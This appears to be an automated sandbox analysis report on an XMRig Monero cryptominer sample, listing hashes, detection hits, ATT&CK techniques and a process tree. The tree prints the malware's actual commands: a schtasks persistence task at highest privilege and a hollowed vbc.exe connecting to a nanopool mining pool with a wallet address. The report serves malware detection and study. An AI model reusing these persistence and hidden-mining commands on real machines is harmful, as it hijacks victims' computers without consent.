xmrig | b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6

General

Target

b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6.exe
Size

1.7MB
MD5

27b284fab61afb4e351edbcbd930aa3f
SHA1

06d1988f308245688c337c1e4751cf3c262a02ba
SHA256

b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6
SHA512

07f40ee220eaf4f27a58d6389496694de8aebbfe3f5b588988349a68b1192faca4cd7fd81eb9f17bf3836e786381f1865658b65bc06942dff495736d0b08f3b3
SSDEEP

49152:PvKK9gn45q8P+D48aQ5QhRPjkNtJeLHkJkQ:PWoetJeDE

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/912-145-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/912-146-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/912-147-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/912-148-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/912-150-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/912-152-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2352	DBJYPFS.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	DBJYPFS.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2352 set thread context of 912	2352	DBJYPFS.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1684	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4556	timeout.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2352	DBJYPFS.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
648	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1064	b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6.exe
Token: SeDebugPrivilege	2352	DBJYPFS.exe
Token: SeLockMemoryPrivilege	912	vbc.exe
Token: SeLockMemoryPrivilege	912	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
912	vbc.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1064 wrote to memory of 2628	1064	b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6.exe	79
PID 1064 wrote to memory of 2628	1064	b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6.exe	79
PID 2628 wrote to memory of 4556	2628	cmd.exe	81
PID 2628 wrote to memory of 4556	2628	cmd.exe	81
PID 2628 wrote to memory of 2352	2628	cmd.exe	86
PID 2628 wrote to memory of 2352	2628	cmd.exe	86
PID 2352 wrote to memory of 1748	2352	DBJYPFS.exe	88
PID 2352 wrote to memory of 1748	2352	DBJYPFS.exe	88
PID 1748 wrote to memory of 1684	1748	cmd.exe	90
PID 1748 wrote to memory of 1684	1748	cmd.exe	90
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93
PID 2352 wrote to memory of 912	2352	DBJYPFS.exe	93

C:\Users\Admin\AppData\Local\Temp\b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6.exe
"C:\Users\Admin\AppData\Local\Temp\b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF409.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:4556
- - C:\ProgramData\AppsWin\DBJYPFS.exe
    "C:\ProgramData\AppsWin\DBJYPFS.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2352
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "DBJYPFS" /tr "C:\ProgramData\AppsWin\DBJYPFS.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1748
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "DBJYPFS" /tr "C:\ProgramData\AppsWin\DBJYPFS.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:1684
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4AAvbZFu6CJe2k13FgFmnDWHasLSbsKpXNumeQrWnZU8gpV9dURkEmJYtTYSohPLrCYA8bBN5PJRWbo1qgLuzpyNApcPYRh --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:912

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\AppsWin\DBJYPFS.exe

Filesize
1.7MB

MD5
27b284fab61afb4e351edbcbd930aa3f

SHA1
06d1988f308245688c337c1e4751cf3c262a02ba

SHA256
b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6

SHA512
07f40ee220eaf4f27a58d6389496694de8aebbfe3f5b588988349a68b1192faca4cd7fd81eb9f17bf3836e786381f1865658b65bc06942dff495736d0b08f3b3

Download Submit
C:\ProgramData\AppsWin\DBJYPFS.exe

Filesize
1.7MB

MD5
27b284fab61afb4e351edbcbd930aa3f

SHA1
06d1988f308245688c337c1e4751cf3c262a02ba

SHA256
b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6

SHA512
07f40ee220eaf4f27a58d6389496694de8aebbfe3f5b588988349a68b1192faca4cd7fd81eb9f17bf3836e786381f1865658b65bc06942dff495736d0b08f3b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpF409.tmp.bat

Filesize
143B

MD5
d530c0884f779a9145136f58007c06d7

SHA1
9b7d9b7c193107aeb688fb60b6f30ee0501a618b

SHA256
a94e2825fda5aeee4c421ce5a0218ae038377050877d9766488aa1ebeca3d841

SHA512
326dd947b24041b3aebc918926f4839de0cd30d01169a032c15ef826608bf9dfcfa7fd86f4f1e343c6f1ff29e735cb955701eae0efb32f18d37eeb6771c89eb4

Download Submit
memory/912-150-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/912-155-0x000001EA5DEA0000-0x000001EA5DEC0000-memory.dmp

Filesize
128KB

Download
memory/912-152-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/912-147-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/912-156-0x000001EA5DEC0000-0x000001EA5DEE0000-memory.dmp

Filesize
128KB

Download
memory/912-151-0x000001EA5DE80000-0x000001EA5DEA0000-memory.dmp

Filesize
128KB

Download
memory/912-154-0x000001EA5DEC0000-0x000001EA5DEE0000-memory.dmp

Filesize
128KB

Download
memory/912-149-0x000001EA5C4C0000-0x000001EA5C4E0000-memory.dmp

Filesize
128KB

Download
memory/912-148-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/912-153-0x000001EA5DEA0000-0x000001EA5DEC0000-memory.dmp

Filesize
128KB

Download
memory/912-145-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1064-137-0x00007FF9F3B20000-0x00007FF9F45E1000-memory.dmp

Filesize
10.8MB

Download
memory/1064-132-0x0000000000570000-0x000000000071A000-memory.dmp

Filesize
1.7MB

Download
memory/1064-133-0x00007FF9F3B20000-0x00007FF9F45E1000-memory.dmp

Filesize
10.8MB

Download
memory/2352-144-0x00007FF9F37D0000-0x00007FF9F4291000-memory.dmp

Filesize
10.8MB

Download
memory/2352-141-0x00007FF9F37D0000-0x00007FF9F4291000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads